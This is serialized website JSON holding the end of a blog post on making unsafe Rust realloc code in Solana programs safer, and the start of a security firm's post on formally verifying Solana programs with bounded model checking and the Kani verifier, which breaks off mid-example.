",{"type":23,"tag":135,"props":16079,"children":16081},{"className":16080},[],[16082],{"type":28,"value":13514},{"type":28,"value":16084},"'s data. The fix here is simple: keep that ",{"type":23,"tag":135,"props":16086,"children":16088},{"className":16087},[],[16089],{"type":28,"value":14754},{"type":28,"value":16091}," around and use it to access the data, instead of using ",{"type":23,"tag":135,"props":16093,"children":16095},{"className":16094},[],[16096],{"type":28,"value":16097},"RefCell::as_ptr",{"type":28,"value":16099},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":23,"tag":636,"props":16101,"children":16102},{},[16103],{"type":23,"tag":64,"props":16104,"children":16108},{"href":16105,"ariaDescribedBy":16106,"dataFootnoteRef":7,"id":16107},"#user-content-fn-rustc-llvm",[643],"user-content-fnref-rustc-llvm",[16109],{"type":28,"value":15541},{"type":28,"value":16111}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":23,"tag":636,"props":16113,"children":16114},{},[16115],{"type":23,"tag":64,"props":16116,"children":16120},{"href":16117,"ariaDescribedBy":16118,"dataFootnoteRef":7,"id":16119},"#user-content-fn-godbolt",[643],"user-content-fnref-godbolt",[16121],{"type":28,"value":16122},"5",{"type":28,"value":16124},". So then we get:",{"type":23,"tag":128,"props":16126,"children":16128},{"className":948,"code":16127,"language":947,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[16129],{"type":23,"tag":135,"props":16130,"children":16131},{"__ignoreMap":7},[16132,16176,16183,16190,16274,16314,16321,16328],{"type":23,"tag":139,"props":16133,"children":16134},{"class":141,"line":142},[16135,16139,16143,16148,16152,16156,16160,16164,16168,16172],{"type":23,"tag":139,"props":16136,"children":16137},{"style":279},[16138],{"type":28,"value":9798},{"type":23,"tag":139,"props":16140,"children":16141},{"style":279},[16142],{"type":28,"value":974},{"type":23,"tag":139,"props":16144,"children":16145},{"style":294},[16146],{"type":28,"value":16147}," slice",{"type":23,"tag":139,"props":16149,"children":16150},{"style":982},[16151],{"type":28,"value":985},{"type":23,"tag":139,"props":16153,"children":16154},{"style":279},[16155],{"type":28,"value":11808},{"type":23,"tag":139,"props":16157,"children":16158},{"style":982},[16159],{"type":28,"value":73},{"type":23,"tag":139,"props":16161,"children":16162},{"style":245},[16163],{"type":28,"value":11885},{"type":23,"tag":139,"props":16165,"children":16166},{"style":259},[16167],{"type":28,"value":11890},{"type":23,"tag":139,"props":16169,"children":16170},{"style":982},[16171],{"type":28,"value":1132},{"type":23,"tag":139,"props":16173,"children":16174},{"style":259},[16175],{"type":28,"value":995},{"type":23,"tag":139,"props":16177,"children":16178},{"class":141,"line":151},[16179],{"type":23,"tag":139,"props":16180,"children":16181},{"emptyLinePlaceholder":15},[16182],{"type":28,"value":184},{"type":23,"tag":139,"props":16184,"children":16185},{"class":141,"line":160},[16186],{"type":23,"tag":139,"props":16187,"children":16188},{"style":958},[16189],{"type":28,"value":12414},{"type":23,"tag":139,"props":16191,"children":16192},{"class":141,"line":169},[16193,16197,16201,16205,16209,16213,16217,16221,16225,16229,16233,16237,16241,16245,16249,16254,16258,16262,16266,16270],{"type":23,"tag":139,"props":16194,"children":16195},{"style":279},[16196],{"type":28,"value":9798},{"type":23,"tag":139,"props":16198,"children":16199},{"style":294},[16200],{"type":28,"value":11868},{"type":23,"tag":139,"props":16202,"children":16203},{"style":982},[16204],{"type":28,"value":985},{"type":23,"tag":139,"props":16206,"children":16207},{"style":279},[16208],{"type":28,"value":12601},{"type":23,"tag":139,"props":16210,"children":16211},{"style":259},[16212],{"type":28,"value":7594},{"type":23,"tag":139,"props":16214,"children":16215},{"style":294},[16216],{"type":28,"value":13325},{"type":23,"tag":139,"props":16218,"children":16219},{"style":982},[16220],{"type":28,"value":73},{"type":23,"tag":139,"props":16222,"children":16223},{"style":245},[16224],{"type":28,"value":11899},{"type":23,"tag":139,"props":16226,"children":16227},{"style":259},[16228],{"type":28,"value":11890},{"type":23,"tag":139,"props":16230,"children":16231},{"style":982},[16232],{"type":28,"value":73},{"type":23,"tag":139,"props":16234,"children":16235},{"style":245},[16236],{"type":28,"value":11912},{"type":23,"tag":139,"props":16238,"children":16239},{"style":259},[16240],{"type":28,"value":262},{"type":23,"tag":139,"props":16242,"children":16243},{"style":982},[16244],{"type":28,"value":2328},{"type":23,"tag":139,"props":16246,"children":16247},{"style":1016},[16248],{"type":28,"value":2075},{"type":23,"tag":139,"props":16250,"children":16251},{"style":259},[16252],{"type":28,"value":16253},") } ",{"type":23,"tag":139,"props":16255,"children":16256},{"style":279},[16257],{"type":28,"value":6847},{"type":23,"tag":139,"props":16259,"children":16260},{"style":982},[16261],{"type":28,"value":7825},{"type":23,"tag":139,"props":16263,"children":16264},{"style":279},[16265],{"type":28,"value":1713},{"type":23,"tag":139,"props":16267,"children":16268},{"style":305},[16269],{"type":28,"value":3862},{"type":23,"tag":139,"props":16271,"children":16272},{"style":259},[16273],{"type":28,"value":995},{"type":23,"tag":139,"props":16275,"children":16276},{"class":141,"line":178},[16277,16281,16285,16289,16293,16297,16301,16305,16309],{"type":23,"tag":139,"props":16278,"children":16279},{"style":279},[16280],{"type":28,"value":12367},{"type":23,"tag":139,"props":16282,"children":16283},{"style":259},[16284],{"type":28,"value":7594},{"type":23,"tag":139,"props":16286,"children":16287},{"style":982},[16288],{"type":28,"value":2573},{"type":23,"tag":139,"props":16290,"children":16291},{"style":294},[16292],{"type":28,"value":11960},{"type":23,"tag":139,"props":16294,"children":16295},{"style":982},[16296],{"type":28,"value":985},{"type":23,"tag":139,"props":16298,"children":16299},{"style":294},[16300],{"type":28,"value":11969},{"type":23,"tag":139,"props":16302,"children":16303},{"style":279},[16304],{"type":28,"value":6833},{"type":23,"tag":139,"props":16306,"children":16307},{"style":305},[16308],{"type":28,"value":3862},{"type":23,"tag":139,"props":16310,"children":16311},{"style":259},[16312],{"type":28,"value":16313}," };\n",{"type":23,"tag":139,"props":16315,"children":16316},{"class":141,"line":187},[16317],{"type":23,"tag":139,"props":16318,"children":16319},{"emptyLinePlaceholder":15},[16320],{"type":28,"value":184},{"type":23,"tag":139,"props":16322,"children":16323},{"class":141,"line":196},[16324],{"type":23,"tag":139,"props":16325,"children":16326},{"style":958},[16327],{"type":28,"value":14151},{"type":23,"tag":139,"props":16329,"children":16330},{"class":141,"line":205},[16331,16335,16339,16343,16347,16352,16356,16360,16364,16369,16373,16377,16381,16385,16390,16394],{"type":23,"tag":139,"props":16332,"children":16333},{"style":982},[16334],{"type":28,"value":2573},{"type":23,"tag":139,"props":16336,"children":16337},{"style":294},[16338],{"type":28,"value":13325},{"type":23,"tag":139,"props":16340,"children":16341},{"style":982},[16342],{"type":28,"value":985},{"type":23,"tag":139,"props":16344,"children":16345},{"style":279},[16346],{"type":28,"value":12601},{"type":23,"tag":139,"props":16348,"children":16349},{"style":259},[16350],{"type":28,"value":16351}," { std",{"type":23,"tag":139,"props":16353,"children":16354},{"style":982},[16355],{"type":28,"value":1461},{"type":23,"tag":139,"props":16357,"children":16358},{"style":259},[16359],{"type":28,"value":13325},{"type":23,"tag":139,"props":16361,"children":16362},{"style":982},[16363],{"type":28,"value":1461},{"type":23,"tag":139,"props":16365,"children":16366},{"style":245},[16367],{"type":28,"value":16368},"from_raw_parts_mut",{"type":23,"tag":139,"props":16370,"children":16371},{"style":259},[16372],{"type":28,"value":262},{"type":23,"tag":139,"props":16374,"children":16375},{"style":294},[16376],{"type":28,"value":13325},{"type":23,"tag":139,"props":16378,"children":16379},{"style":982},[16380],{"type":28,"value":73},{"type":23,"tag":139,"props":16382,"children":16383},{"style":245},[16384],{"type":28,"value":11899},{"type":23,"tag":139,"props":16386,"children":16387},{"style":259},[16388],{"type":28,"value":16389},"(), ",{"type":23,"tag":139,"props":16391,"children":16392},{"style":294},[16393],{"type":28,"value":11733},{"type":23,"tag":139,"props":16395,"children":16396},{"style":259},[16397],{"type":28,"value":12756},{"type":23,"tag":24,"props":16399,"children":16400},{},[16401,16403,16408,16410,16415,16417,16422,16424],{"type":28,"value":16402},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":23,"tag":135,"props":16404,"children":16406},{"className":16405},[],[16407],{"type":28,"value":6046},{"type":28,"value":16409}," and not a ",{"type":23,"tag":135,"props":16411,"children":16413},{"className":16412},[],[16414],{"type":28,"value":14613},{"type":28,"value":16416}," for the size field, given that ",{"type":23,"tag":135,"props":16418,"children":16420},{"className":16419},[],[16421],{"type":28,"value":14613},{"type":28,"value":16423}," is architecture-dependent), and no dependency on slice reference internals!",{"type":23,"tag":636,"props":16425,"children":16426},{},[16427],{"type":23,"tag":64,"props":16428,"children":16432},{"href":16429,"ariaDescribedBy":16430,"dataFootnoteRef":7,"id":16431},"#user-content-fn-slice-unbound-lifetime",[643],"user-content-fnref-slice-unbound-lifetime",[16433],{"type":28,"value":16434},"6",{"type":23,"tag":784,"props":16436,"children":16438},{"className":16437,"dataFootnotes":7},[787],[16439,16444],{"type":23,"tag":41,"props":16440,"children":16442},{"className":16441,"id":643},[792],[16443],{"type":28,"value":795},{"type":23,"tag":797,"props":16445,"children":16446},{},[16447,16548,16566,16621,16634,16662],{"type":23,"tag":801,"props":16448,"children":16450},{"id":16449},"user-content-fn-rc-refs",[16451,16453,16459,16461,16466,16468,16472,16474,16478,16480,16485,16487,16493,16495,16500,16502,16512,16514,16519,16521,16526,16528,16533,16535,16541,16542],{"type":28,"value":16452},"I find it helpful to view owning an ",{"type":23,"tag":135,"props":16454,"children":16456},{"className":16455},[],[16457],{"type":28,"value":16458},"Rc\u003CT>",{"type":28,"value":16460}," as holding a shared reference to the underlying ",{"type":23,"tag":135,"props":16462,"children":16464},{"className":16463},[],[16465],{"type":28,"value":3990},{"type":28,"value":16467}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":23,"tag":659,"props":16469,"children":16470},{},[16471],{"type":28,"value":14469},{"type":28,"value":16473}," ensures that the actual ",{"type":23,"tag":659,"props":16475,"children":16476},{},[16477],{"type":28,"value":1691},{"type":28,"value":16479}," stays alive, however all you have is a reference to the ",{"type":23,"tag":135,"props":16481,"children":16483},{"className":16482},[],[16484],{"type":28,"value":3990},{"type":28,"value":16486}," (through the ",{"type":23,"tag":135,"props":16488,"children":16490},{"className":16489},[],[16491],{"type":28,"value":16492},"Deref\u003CTarget = T>",{"type":28,"value":16494}," impl) - ",{"type":23,"tag":659,"props":16496,"children":16497},{},[16498],{"type":28,"value":16499},"not",{"type":28,"value":16501}," ownership ",{"type":23,"tag":659,"props":16503,"children":16504},{},[16505,16507],{"type":28,"value":16506},"of the ",{"type":23,"tag":135,"props":16508,"children":16510},{"className":16509},[],[16511],{"type":28,"value":3990},{"type":28,"value":16513},". In short, owning an ",{"type":23,"tag":135,"props":16515,"children":16517},{"className":16516},[],[16518],{"type":28,"value":16458},{"type":28,"value":16520}," is owning a (shared, read-only) reference to ",{"type":23,"tag":135,"props":16522,"children":16524},{"className":16523},[],[16525],{"type":28,"value":3990},{"type":28,"value":16527},", not owning ",{"type":23,"tag":135,"props":16529,"children":16531},{"className":16530},[],[16532],{"type":28,"value":3990},{"type":28,"value":16534}," directly like with ",{"type":23,"tag":135,"props":16536,"children":16538},{"className":16537},[],[16539],{"type":28,"value":16540},"Box\u003CT>",{"type":28,"value":765},{"type":23,"tag":64,"props":16543,"children":16546},{"href":16544,"ariaLabel":810,"className":16545,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs",[812],[16547],{"type":28,"value":815},{"type":23,"tag":801,"props":16549,"children":16551},{"id":16550},"user-content-fn-sendsync",[16552,16558,16559],{"type":23,"tag":135,"props":16553,"children":16555},{"className":16554},[],[16556],{"type":28,"value":16557},"!Send + !Sync",{"type":28,"value":471},{"type":23,"tag":64,"props":16560,"children":16564},{"href":16561,"ariaLabel":16562,"className":16563,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[812],[16565],{"type":28,"value":815},{"type":23,"tag":801,"props":16567,"children":16569},{"id":16568},"user-content-fn-layout",[16570,16572,16577,16578,16591,16593,16598,16600,16605,16607,16612,16614],{"type":28,"value":16571},"Note that this is a terrible idea for yet another reason: ",{"type":23,"tag":135,"props":16573,"children":16575},{"className":16574},[],[16576],{"type":28,"value":12950},{"type":28,"value":3504},{"type":23,"tag":64,"props":16579,"children":16582},{"href":16580,"rel":16581},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[68],[16583,16585],{"type":28,"value":16584},"not declared with ",{"type":23,"tag":135,"props":16586,"children":16588},{"className":16587},[],[16589],{"type":28,"value":16590},"#[repr(C)]",{"type":28,"value":16592},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":23,"tag":659,"props":16594,"children":16595},{},[16596],{"type":28,"value":16597},"breaks the entire chain",{"type":28,"value":16599}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":23,"tag":659,"props":16601,"children":16602},{},[16603],{"type":28,"value":16604},"some",{"type":28,"value":16606}," kind of interface to the specific layout of the specific ",{"type":23,"tag":135,"props":16608,"children":16610},{"className":16609},[],[16611],{"type":28,"value":14521},{"type":28,"value":16613}," versions used to build on-chain code for all eternity... ",{"type":23,"tag":64,"props":16615,"children":16619},{"href":16616,"ariaLabel":16617,"className":16618,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[812],[16620],{"type":28,"value":815},{"type":23,"tag":801,"props":16622,"children":16624},{"id":16623},"user-content-fn-rustc-llvm",[16625,16627],{"type":28,"value":16626},"Actually, it's LLVM that does the optimization ",{"type":23,"tag":64,"props":16628,"children":16632},{"href":16629,"ariaLabel":16630,"className":16631,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[812],[16633],{"type":28,"value":815},{"type":23,"tag":801,"props":16635,"children":16637},{"id":16636},"user-content-fn-godbolt",[16638,16645,16647,16653,16655],{"type":23,"tag":64,"props":16639,"children":16642},{"href":16640,"rel":16641},"https://godbolt.org/z/PK46xMbxc",[68],[16643],{"type":28,"value":16644},"Click here",{"type":28,"value":16646}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":23,"tag":135,"props":16648,"children":16650},{"className":16649},[],[16651],{"type":28,"value":16652},"libcore",{"type":28,"value":16654}," available for other architectures yet. ",{"type":23,"tag":64,"props":16656,"children":16660},{"href":16657,"ariaLabel":16658,"className":16659,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[812],[16661],{"type":28,"value":815},{"type":23,"tag":801,"props":16663,"children":16665},{"id":16664},"user-content-fn-slice-unbound-lifetime",[16666,16668,16673,16675,16681,16683,16689,16691,16697,16699,16705,16707,16713,16715,16720,16722],{"type":28,"value":16667},"The astute reader may have noticed that ",{"type":23,"tag":135,"props":16669,"children":16671},{"className":16670},[],[16672],{"type":28,"value":16368},{"type":28,"value":16674}," still returns an unbounded lifetime (notice in the signature ",{"type":23,"tag":135,"props":16676,"children":16678},{"className":16677},[],[16679],{"type":28,"value":16680},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":28,"value":16682},", the lifetime parameter ",{"type":23,"tag":135,"props":16684,"children":16686},{"className":16685},[],[16687],{"type":28,"value":16688},"'a",{"type":28,"value":16690}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":23,"tag":135,"props":16692,"children":16694},{"className":16693},[],[16695],{"type":28,"value":16696},"*slice",{"type":28,"value":16698},", which is ",{"type":23,"tag":135,"props":16700,"children":16702},{"className":16701},[],[16703],{"type":28,"value":16704},"&'info [u8]",{"type":28,"value":16706}," (where ",{"type":23,"tag":135,"props":16708,"children":16710},{"className":16709},[],[16711],{"type":28,"value":16712},"'info",{"type":28,"value":16714}," is the lifetime parameter of the ",{"type":23,"tag":135,"props":16716,"children":16718},{"className":16717},[],[16719],{"type":28,"value":12950},{"type":28,"value":16721}," struct) - this is exactly the lifetime we started with. ",{"type":23,"tag":64,"props":16723,"children":16727},{"href":16724,"ariaLabel":16725,"className":16726,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[812],[16728],{"type":28,"value":815},{"type":23,"tag":817,"props":16730,"children":16731},{},[16732],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":16734},[16735,16741,16745,16746,16748],{"id":12379,"depth":151,"text":16736,"children":16737},"Breaking down realloc",[16738,16739],{"id":12545,"depth":160,"text":12548},{"id":13903,"depth":160,"text":16740},"Back to realloc",{"id":14856,"depth":151,"text":14859,"children":16742},[16743,16744],{"id":14862,"depth":160,"text":14865},{"id":15083,"depth":160,"text":15086},{"id":15270,"depth":151,"text":15273},{"id":15672,"depth":151,"text":16747},"Towards safer unsafe",{"id":643,"depth":151,"text":795},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":16753,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":16754,"description":16755,"author":16756,"image":16757,"date":16759,"isFeatured":15,"onBlogPage":15,"tags":16760,"body":16761,"_type":831,"_id":27022,"_source":833,"_file":27023,"_stem":27024,"_extension":836},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":16758,"height":11634,"width":13},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[848,849],{"type":20,"children":16762,"toc":26994},[16763,16768,16773,16799,16803,16815,16838,16861,16873,16896,16899,16906,16956,16962,16968,16973,16984,17025,17030,17036,17041,17274,17294,17299,17304,17377,17382,17452,17466,17889,17909,17915,17934,17939,17944,17949,17955,17967,18002,18013,18024,18036,18041,18073,18097,18116,18122,18139,18145,18172,18177,18197,18209,18355,18383,18386,18398,18481,18500,18503,18542,18709,18714,18720,18732,18751,18764,18925,18937,18950,19424,19429,19476,19482,19500,19569,19807,20021,20026,20100,20148,20153,20159,20261,20365,20370,20433,20438,20444,20509,20514,20556,20582,20588,20657,20662,20712,20723,20729,20740,20761,20766,20771,20794,20800,20812,20832,21948,21967,22018,22023,22031,22043,22048,22056,22061,22077,22113,22118,22212,22217,22225,22230,22342,22347,22355,22368,22532,22537,22545,22550,22555,22623,22657,22663,22668,22679,22697,23075,23087,23099,23107,23118,23149,23154,23162,23167,23440,23459,23464,23490,24358,24370,24469,24481,24523,24528,24540,24548,24553,24565,24591,24751,24763,24771,24776,25052,25057,25069,25224,25244,25570,25604,25798,25831,25843,25965,25985,25990,25995,26000,26013,26021,26026,26501,26513,26518,26530,26535,26794,26820,26825,26831,26837,26849,26861,26880,26927,26932,26938,26943,26948,26953,26958,26963,26968,26971,26990],{"type":23,"tag":24,"props":16764,"children":16765},{},[16766],{"type":28,"value":16767},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":23,"tag":24,"props":16769,"children":16770},{},[16771],{"type":28,"value":16772},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":23,"tag":24,"props":16774,"children":16775},{},[16776,16778,16782,16784,16789,16791,16798],{"type":28,"value":16777},"In the world of Web3 we create programs that talk to strangers ",{"type":23,"tag":659,"props":16779,"children":16780},{},[16781],{"type":28,"value":14383},{"type":28,"value":16783}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":23,"tag":659,"props":16785,"children":16786},{},[16787],{"type":28,"value":16788},"juciest",{"type":28,"value":16790},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":23,"tag":64,"props":16792,"children":16795},{"href":16793,"rel":16794},"https://rekt.news/leaderboard/",[68],[16796],{"type":28,"value":16797},"hundreds of millions of dollars",{"type":28,"value":73},{"type":23,"tag":16800,"props":16801,"children":16802},"hr",{},[],{"type":23,"tag":24,"props":16804,"children":16805},{},[16806,16808,16813],{"type":28,"value":16807},"At OtterSec we are ",{"type":23,"tag":659,"props":16809,"children":16810},{},[16811],{"type":28,"value":16812},"highly skilled in pest control",{"type":28,"value":16814}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":23,"tag":24,"props":16816,"children":16817},{},[16818,16820,16827,16829,16836],{"type":28,"value":16819},"Recently we were contacted by the ",{"type":23,"tag":64,"props":16821,"children":16824},{"href":16822,"rel":16823},"https://squads.so/",[68],[16825],{"type":28,"value":16826},"Squads team",{"type":28,"value":16828}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":23,"tag":64,"props":16830,"children":16833},{"href":16831,"rel":16832},"https://github.com/Squads-Protocol/squads-mpl",[68],[16834],{"type":28,"value":16835},"Squads Multisig Program",{"type":28,"value":16837}," as our main case study.",{"type":23,"tag":24,"props":16839,"children":16840},{},[16841,16843,16850,16852,16859],{"type":28,"value":16842},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":23,"tag":64,"props":16844,"children":16847},{"href":16845,"rel":16846},"https://www.anchor-lang.com/",[68],[16848],{"type":28,"value":16849},"anchor-lang",{"type":28,"value":16851}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":23,"tag":64,"props":16853,"children":16856},{"href":16854,"rel":16855},"https://github.com/model-checking/kani",[68],[16857],{"type":28,"value":16858},"Kani Rust Verifier",{"type":28,"value":16860},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":23,"tag":24,"props":16862,"children":16863},{},[16864,16866,16871],{"type":28,"value":16865},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":23,"tag":659,"props":16867,"children":16868},{},[16869],{"type":28,"value":16870},"bounded model checking",{"type":28,"value":16872}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":23,"tag":24,"props":16874,"children":16875},{},[16876],{"type":23,"tag":659,"props":16877,"children":16878},{},[16879,16881,16888,16890],{"type":28,"value":16880},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":23,"tag":64,"props":16882,"children":16885},{"href":16883,"rel":16884},"https://osec.io/contact",[68],[16886],{"type":28,"value":16887},"this form",{"type":28,"value":16889}," or email us at ",{"type":23,"tag":64,"props":16891,"children":16893},{"href":16892},"mailto:contact@osec.io",[16894],{"type":28,"value":16895},"contact@osec.io",{"type":23,"tag":16800,"props":16897,"children":16898},{},[],{"type":23,"tag":16900,"props":16901,"children":16903},"h4",{"id":16902},"contents",[16904],{"type":28,"value":16905},"Contents:",{"type":23,"tag":797,"props":16907,"children":16908},{},[16909,16914,16931,16941,16946,16951],{"type":23,"tag":801,"props":16910,"children":16911},{},[16912],{"type":28,"value":16913},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":23,"tag":801,"props":16915,"children":16916},{},[16917,16922,16924,16929],{"type":23,"tag":56,"props":16918,"children":16919},{},[16920],{"type":28,"value":16921},"Specification",{"type":28,"value":16923},": How can we describe what we ",{"type":23,"tag":659,"props":16925,"children":16926},{},[16927],{"type":28,"value":16928},"want",{"type":28,"value":16930}," our program to do?",{"type":23,"tag":801,"props":16932,"children":16933},{},[16934,16939],{"type":23,"tag":56,"props":16935,"children":16936},{},[16937],{"type":28,"value":16938},"Verification",{"type":28,"value":16940},": How do we check that our model is correct?",{"type":23,"tag":801,"props":16942,"children":16943},{},[16944],{"type":28,"value":16945},"Case Study: Squads Multisig",{"type":23,"tag":801,"props":16947,"children":16948},{},[16949],{"type":28,"value":16950},"Additional challenges in Solana",{"type":23,"tag":801,"props":16952,"children":16953},{},[16954],{"type":28,"value":16955},"Conclusion",{"type":23,"tag":41,"props":16957,"children":16959},{"id":16958},"formal-verification-with-bounded-model-checking",[16960],{"type":28,"value":16961},"Formal Verification with Bounded Model Checking",{"type":23,"tag":666,"props":16963,"children":16965},{"id":16964},"overview",[16966],{"type":28,"value":16967},"Overview",{"type":23,"tag":24,"props":16969,"children":16970},{},[16971],{"type":28,"value":16972},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":23,"tag":24,"props":16974,"children":16975},{},[16976,16978,16983],{"type":28,"value":16977},"There are many different flavors of formal verification, however in this research we are using ",{"type":23,"tag":56,"props":16979,"children":16980},{},[16981],{"type":28,"value":16982},"bounded model checking (BMC)",{"type":28,"value":73},{"type":23,"tag":24,"props":16985,"children":16986},{},[16987,16989,16994,16996,17001,17003,17007,17009,17015,17017,17023],{"type":28,"value":16988},"In short, the idea of BMC is to execute our program ",{"type":23,"tag":659,"props":16990,"children":16991},{},[16992],{"type":28,"value":16993},"symbolically",{"type":28,"value":16995}," rather than ",{"type":23,"tag":659,"props":16997,"children":16998},{},[16999],{"type":28,"value":17000},"concretely",{"type":28,"value":17002},". Instead of actually performing an ",{"type":23,"tag":659,"props":17004,"children":17005},{},[17006],{"type":28,"value":7646},{"type":28,"value":17008}," when we see the line ",{"type":23,"tag":135,"props":17010,"children":17012},{"className":17011},[],[17013],{"type":28,"value":17014},"int x = a + b",{"type":28,"value":17016},", we store the symbolic expression ",{"type":23,"tag":135,"props":17018,"children":17020},{"className":17019},[],[17021],{"type":28,"value":17022},"x == a + b",{"type":28,"value":17024},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":23,"tag":24,"props":17026,"children":17027},{},[17028],{"type":28,"value":17029},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":23,"tag":666,"props":17031,"children":17033},{"id":17032},"a-simple-example",[17034],{"type":28,"value":17035},"A simple example",{"type":23,"tag":24,"props":17037,"children":17038},{},[17039],{"type":28,"value":17040},"As an example, consider the following function:",{"type":23,"tag":128,"props":17042,"children":17044},{"code":17043,"language":1123,"meta":7,"className":14526,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[17045],{"type":23,"tag":135,"props":17046,"children":17047},{"__ignoreMap":7},[17048,17078,17112,17124,17149,17177,17192,17219,17226,17233,17241,17267],{"type":23,"tag":139,"props":17049,"children":17050},{"class":141,"line":142},[17051,17056,17061,17065,17069,17074],{"type":23,"tag":139,"props":17052,"children":17053},{"style":279},[17054],{"type":28,"value":17055},"int",{"type":23,"tag":139,"props":17057,"children":17058},{"style":245},[17059],{"type":28,"value":17060}," foo",{"type":23,"tag":139,"props":17062,"children":17063},{"style":259},[17064],{"type":28,"value":262},{"type":23,"tag":139,"props":17066,"children":17067},{"style":279},[17068],{"type":28,"value":17055},{"type":23,"tag":139,"props":17070,"children":17071},{"style":294},[17072],{"type":28,"value":17073}," x",{"type":23,"tag":139,"props":17075,"children":17076},{"style":259},[17077],{"type":28,"value":12815},{"type":23,"tag":139,"props":17079,"children":17080},{"class":141,"line":151},[17081,17086,17090,17094,17099,17103,17108],{"type":23,"tag":139,"props":17082,"children":17083},{"style":279},[17084],{"type":28,"value":17085},"    int",{"type":23,"tag":139,"props":17087,"children":17088},{"style":259},[17089],{"type":28,"value":2516},{"type":23,"tag":139,"props":17091,"children":17092},{"style":982},[17093],{"type":28,"value":1067},{"type":23,"tag":139,"props":17095,"children":17096},{"style":259},[17097],{"type":28,"value":17098}," x ",{"type":23,"tag":139,"props":17100,"children":17101},{"style":982},[17102],{"type":28,"value":2382},{"type":23,"tag":139,"props":17104,"children":17105},{"style":1016},[17106],{"type":28,"value":17107}," 3",{"type":23,"tag":139,"props":17109,"children":17110},{"style":259},[17111],{"type":28,"value":995},{"type":23,"tag":139,"props":17113,"children":17114},{"class":141,"line":160},[17115,17119],{"type":23,"tag":139,"props":17116,"children":17117},{"style":279},[17118],{"type":28,"value":17085},{"type":23,"tag":139,"props":17120,"children":17121},{"style":259},[17122],{"type":28,"value":17123}," z;\n",{"type":23,"tag":139,"props":17125,"children":17126},{"class":141,"line":169},[17127,17131,17136,17140,17145],{"type":23,"tag":139,"props":17128,"children":17129},{"style":319},[17130],{"type":28,"value":10290},{"type":23,"tag":139,"props":17132,"children":17133},{"style":259},[17134],{"type":28,"value":17135}," (y ",{"type":23,"tag":139,"props":17137,"children":17138},{"style":982},[17139],{"type":28,"value":8471},{"type":23,"tag":139,"props":17141,"children":17142},{"style":1016},[17143],{"type":28,"value":17144}," 100",{"type":23,"tag":139,"props":17146,"children":17147},{"style":259},[17148],{"type":28,"value":12815},{"type":23,"tag":139,"props":17150,"children":17151},{"class":141,"line":178},[17152,17157,17161,17165,17169,17173],{"type":23,"tag":139,"props":17153,"children":17154},{"style":259},[17155],{"type":28,"value":17156},"        z 